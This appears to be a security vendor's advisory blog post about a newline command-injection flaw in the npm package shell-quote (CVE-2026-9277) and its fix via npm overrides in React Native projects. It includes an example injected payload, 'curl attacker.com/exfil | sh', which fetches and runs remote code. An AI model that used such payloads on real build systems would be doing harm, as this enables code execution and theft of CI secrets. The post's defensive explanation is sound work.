Back to Blog
critical SEVERITY4 min read

shell-quote 1.8.3: Line Terminator Command Injection (CVE-2026-9277)

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions before 1.9.0, where unescaped line terminators allow attackers to break out of quoted strings and execute arbitrary shell commands. The fix upgrades the dependency across multiple React Native CLI packages and related libraries through npm overrides.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 17, 2026•Reviewed September 30, 2026

Answer Summary

shell-quote versions before 1.9.0 are vulnerable to command injection. An attacker can execute arbitrary shell commands by injecting line terminators into strings passed to shell-quote's quoting functions. The fix upgrades shell-quote to 1.9.0 via package.json overrides targeting @react-native-community/cli-platform-android, @react-native-community/cli-platform-ios, and six other packages. CWE unknown.

Vulnerability at a Glance

cweN/A
fixUpgrade to shell-quote 1.9.0 via npm overrides
riskArbitrary code execution when user input reaches shell-quote
languageJavaScript (Node.js/npm)
root causeLine terminator characters (\n, \r) not properly escaped in shell quoting
vulnerabilityCommand injection via unescaped line terminators

Affected Versions

Affected < 1.9.0
Fixed in 1.9.0
Ecosystem npm
CVE / GHSA CVE-2026-9277 / not assigned
CWE unknown

The Vulnerability Explained

shell-quote is a widely-used npm package that escapes strings for safe use in shell commands. At version 1.8.3, it failed to escape line terminator characters—\n (newline) and \r (carriage return)—allowing attackers to inject command separators into what should be single quoted arguments.

Consider how shell-quote builds commands. When you pass user input to shellQuote.quote():

const shellQuote = require('shell-quote');
const userInput = "hello\nworld";
const safe = shellQuote.quote([userInput]);
// 1.8.3 produces: 'hello
// world'

The unescaped newline terminates the single-quoted string prematurely. In shell syntax, this drops the attacker from inside a quoted argument to the raw command context. Anything following the newline executes as a new command.

In React Native build pipelines, this pattern surfaces through @react-native-community/cli and its platform-specific packages. These tools construct shell commands for pod install, gradle builds, and simulator launches. User-controlled values—project names, build flavors, or environment-derived strings—flow into these commands. An attacker who controls any such value can inject:

legitimate-arg
curl attacker.com/exfil | sh

The scanner confirmed this pattern exists in the dependency tree. While the exploit path wasn't confirmed reachable in this specific application, the transitive dependency through multiple React Native packages creates substantial attack surface.

The Fix

The remediation uses npm's overrides field to force shell-quote 1.9.0 across all dependency paths. The package.json change targets eight packages known to transitively include shell-quote:

"overrides": {
  "@react-native-community/cli-platform-android": {
    "fast-xml-parser": "^5.3.4",
    "shell-quote": "1.9.0"
  },
  "@react-native-community/cli-platform-ios": {
    "fast-xml-parser": "^5.3.4",
    "shell-quote": "1.9.0"
  },
  "@craftzdog/react-native-buffer": {
    "shell-quote": "1.9.0"
  },
  "@react-native-async-storage/async-storage": {
    "shell-quote": "1.9.0"
  },
  "@react-native-clipboard/clipboard": {
    "shell-quote": "1.9.0"
  },
  "@react-native-community/cli": {
    "shell-quote": "1.9.0"
  }
}

This approach is necessary because npm's dependency resolution can install multiple versions of the same package. A direct dependency on shell-quote 1.9.0 wouldn't eliminate vulnerable 1.8.3 instances nested under @react-native-community/cli. The override forces deduplication to the patched version.

The package-lock.json reflects this with the version bump:

-      "version": "1.8.3",
+      "version": "1.9.0",

shell-quote 1.9.0 escapes line terminators by converting them to their $'...' ANSI-C quoted form, where \n becomes $'\n'—a string that shells interpret as a literal newline character rather than a syntax terminator.

Key Takeaways

  • Line terminators are shell metacharacters: Developers often focus on quotes, semicolons, and backticks while overlooking that \n and \r are equally valid command separators in POSIX shell syntax.

  • Transitive dependencies in native build tools carry critical risk: React Native's CLI constructs actual shell commands for Xcode and Gradle. A vulnerability in a dependency three levels deep still executes with the full privileges of the build process.

  • npm overrides are the surgical tool for dependency emergencies: When a vulnerable package appears multiple times in the tree, overrides provides deterministic remediation without waiting for upstream maintainers to update their own dependencies.

  • Version pinning in overrides prevents regression: The explicit "1.9.0" string (not ^1.9.0) ensures npm cannot silently downgrade if another package declares an incompatible range.

  • Build-time command injection matters as much as runtime: CI/CD secrets, signing certificates, and deployment credentials are all present during React Native builds. An attacker who achieves code execution here gains access to production infrastructure.

How Orbis AppSec Detected This

Source: User-influenced strings that flow into React Native CLI configuration—project names, bundle identifiers, and environment variables processed during pod install and gradle invocation.

Sink: shell-quote.quote() function constructing shell command arguments for @react-native-community/cli-platform-android and @react-native-community/cli-platform-ios build scripts.

Missing control: Line terminator characters (\n, \r) were not escaped or rejected before string interpolation into shell command contexts.

CWE: unknown

Fix: Force upgrade to shell-quote 1.9.0 across all transitive dependency paths using npm overrides, eliminating the vulnerable escaping implementation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 demonstrates that even mature, focused utility packages like shell-quote can harbor critical flaws in edge case handling. The line terminator oversight persisted through multiple 1.8.x releases, affecting thousands of projects through React Native's extensive dependency graph. The override-based fix provides immediate protection without waiting for the entire ecosystem to update, a pattern worth remembering for any npm-based project facing transitive dependency vulnerabilities.

Prevention and further reading

Frequently Asked Questions

Does the shell-quote 1.9.0 upgrade require changes to how @react-native-community/cli-platform-android invokes shell commands?

No. The fix is transparent—shell-quote 1.9.0 maintains API compatibility while properly escaping line terminators. The vulnerability existed in the escaping logic itself, not in how consuming packages called the library.

Why were npm overrides applied to @craftzdog/react-native-buffer and @react-native-clipboard/clipboard rather than just the CLI platforms?

These packages also transitively depend on shell-quote. The override strategy forces the patched 1.9.0 version throughout the entire dependency tree, eliminating vulnerable versions that could be reached through alternate import paths.

Is the vulnerability exploitable if shell-quote is only used in build-time React Native tooling, not runtime application code?

Yes. Build-time exploitation remains critical—CI/CD pipelines, local developer machines, and automated build systems all execute shell commands during the React Native build process. An attacker controlling input processed during `pod install` or `gradle` invocation achieves code execution in that context.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.